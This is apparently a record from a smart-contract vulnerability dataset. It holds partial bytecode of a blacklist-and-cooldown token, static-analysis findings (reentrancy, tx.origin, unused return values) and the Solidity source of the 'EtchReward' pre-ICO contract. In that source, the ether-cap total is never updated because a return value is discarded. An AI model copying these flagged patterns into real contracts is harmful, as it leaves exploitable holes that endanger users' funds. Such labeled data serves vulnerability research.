2060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f95217ca88ea0f6cb1656b6bb8006c7eaaa706e43e0925dc5f92b1f98caa024564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,317 |
0x789e00c123b1e1f65862caea6a615c069e672091
|
pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
if (paused) throw;
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
if (!paused) throw;
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint256 size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Helps contracts guard agains rentrancy attacks.
* @author Remco Bloemen <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ec9e89818f83acde">[email protected]</a>π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private rentrancy_lock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
if(rentrancy_lock == false) {
rentrancy_lock = true;
_;
rentrancy_lock = false;
} else {
throw;
}
}
}
contract EtchReward is Pausable, BasicToken, ReentrancyGuard {
// address public owner; // Ownable
// bool public paused = false; // Pausable
// mapping(address => uint) balances; // BasicToken
// uint public totalSupply; // ERC20Basic
// bool private rentrancy_lock = false; // ReentrancyGuard
//
// @dev constants
//
string public constant name = "Etch Reward Token";
string public constant symbol = "ETCHR";
uint public constant decimals = 18;
//
// @dev the main address to be forwarded all ether
//
address public constant BENEFICIARY = 0x651A3731f717a17777c9D8d6f152Aa9284978Ea3;
// @dev number of tokens one receives for every 1 ether they send
uint public constant PRICE = 8;
// avg block time = 15.2569 https://etherscan.io/chart/blocktime
uint public constant AVG_BLOCKS_24H = 5663; // 3600 * 24 / 15.2569 = 5663.011489883266
uint public constant AVG_BLOCKS_02W = 79282; // 3600 * 24 * 14 / 15.2569 = 79282.16085836572
uint public constant MAX_ETHER_24H = 40 ether;
uint public constant ETHER_CAP = 2660 ether;
uint public totalEther = 0;
uint public blockStart = 0;
uint public block24h = 0;
uint public block02w = 0;
// @dev address of the actual ICO contract to be deployed later
address public icoContract = 0x0;
//
// @dev owner authorized addresses to participate in this pre-ico
//
mapping(address => bool) contributors;
// @dev constructor function
function EtchReward(uint _blockStart) {
blockStart = _blockStart;
block24h = blockStart + AVG_BLOCKS_24H;
block02w = blockStart + AVG_BLOCKS_02W;
}
//
// @notice the ability to transfer tokens is disabled
//
function transfer(address, uint) {
throw;
}
//
// @notice we DO allow sending ether directly to the contract address
//
function () payable {
buy();
}
//
// @dev modifiers
//
modifier onlyContributors() {
if(contributors[msg.sender] != true) {
throw;
}
_;
}
modifier onlyIcoContract() {
if(icoContract == 0x0 || msg.sender != icoContract) {
throw;
}
_;
}
//
// @dev call this to authorize participants to this pre-ico sale
// @param the authorized participant address
//
function addContributor(address _who) public onlyOwner {
contributors[_who] = true;
}
// @dev useful for contributor to check before sending ether
function isContributor(address _who) public constant returns(bool) {
return contributors[_who];
}
//
// @dev this will be later set by the owner of this contract
//
function setIcoContract(address _contract) public onlyOwner {
icoContract = _contract;
}
//
// @dev function called by the ICO contract to transform the tokens into ETCH tokens
//
function migrate(address _contributor) public
onlyIcoContract
whenNotPaused {
if(getBlock() < block02w) {
throw;
}
totalSupply = totalSupply.sub(balances[_contributor]);
balances[_contributor] = 0;
}
function buy() payable
nonReentrant
onlyContributors
whenNotPaused {
address _recipient = msg.sender;
uint blockNow = getBlock();
// are we before or after the sale period?
if(blockNow < blockStart || block02w <= blockNow) {
throw;
}
if (blockNow < block24h) {
// only one transaction is authorized
if (balances[_recipient] > 0) {
throw;
}
// only allowed to buy a certain amount
if (msg.value > MAX_ETHER_24H) {
throw;
}
}
// make sure we don't go over the ether cap
if (totalEther.add(msg.value) > ETHER_CAP) {
throw;
}
uint tokens = msg.value.mul(PRICE);
totalSupply = totalSupply.add(tokens);
balances[_recipient] = balances[_recipient].add(tokens);
totalEther.add(msg.value);
if (!BENEFICIARY.send(msg.value)) {
throw;
}
}
uint public blockNumber = 0;
function getBlock() public constant returns (uint) {
if(blockNumber != 0) {
return blockNumber;
}
return block.number;
}
}
|
0x606060405236156101725763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461018357806318160ddd146102135780631d0d35f5146102355780632e97766d146102655780632f99c6cc14610287578063313ce567146102b35780633f4ba83a146102d55780634f8c2a8a146102f957806357e871e71461031b5780635a2791ed1461033d5780635c975abb1461035f57806370a08231146103835780637b2feaaa146103b15780638456cb59146103d35780638d859f3e146103f75780638da5cb5b1461041957806395d89b4114610445578063a6f2ae3a146104d5578063a9059cbb146104df578063ae6e22f114610500578063ae87340514610522578063b579184f14610544578063c66e409514610562578063ce5494bb1461058e578063e02df495146105ac578063e09678fd146105ce578063e8303659146105ec578063f0d02ce91461060e578063f2fde38b14610630575b6101815b61017e61064e565b5b565b005b341561018b57fe5b610193610826565b6040805160208082528351818301528351919283929083019185019080838382156101d9575b8051825260208311156101d957601f1990920191602091820191016101b9565b505050905090810190601f1680156102055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021b57fe5b61022361085d565b60408051918252519081900360200190f35b341561023d57fe5b610251600160a060020a0360043516610863565b604080519115158252519081900360200190f35b341561026d57fe5b610223610885565b60408051918252519081900360200190f35b341561028f57fe5b61029761089f565b60408051600160a060020a039092168252519081900360200190f35b34156102bb57fe5b6102236108b7565b60408051918252519081900360200190f35b34156102dd57fe5b6102516108bc565b604080519115158252519081900360200190f35b341561030157fe5b610223610940565b60408051918252519081900360200190f35b341561032357fe5b610223610946565b60408051918252519081900360200190f35b341561034557fe5b61022361094c565b60408051918252519081900360200190f35b341561036757fe5b610251610952565b604080519115158252519081900360200190f35b341561038b57fe5b610223600160a060020a0360043516610962565b60408051918252519081900360200190f35b34156103b957fe5b610223610981565b60408051918252519081900360200190f35b34156103db57fe5b610251610987565b604080519115158252519081900360200190f35b34156103ff57fe5b610223610a10565b60408051918252519081900360200190f35b341561042157fe5b610297610a15565b60408051600160a060020a039092168252519081900360200190f35b341561044d57fe5b610193610a24565b6040805160208082528351818301528351919283929083019185019080838382156101d9575b8051825260208311156101d957601f1990920191602091820191016101b9565b505050905090810190601f1680156102055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61018161064e565b005b34156104e757fe5b610181600160a060020a036004351660243561081a565b005b341561050857fe5b610223610a65565b60408051918252519081900360200190f35b341561052a57fe5b610223610a6b565b60408051918252519081900360200190f35b341561054c57fe5b610181600160a060020a0360043516610a71565b005b341561056a57fe5b610297610ab5565b60408051600160a060020a039092168252519081900360200190f35b341561059657fe5b610181600160a060020a0360043516610ac4565b005b34156105b457fe5b610223610b72565b60408051918252519081900360200190f35b34156105d657fe5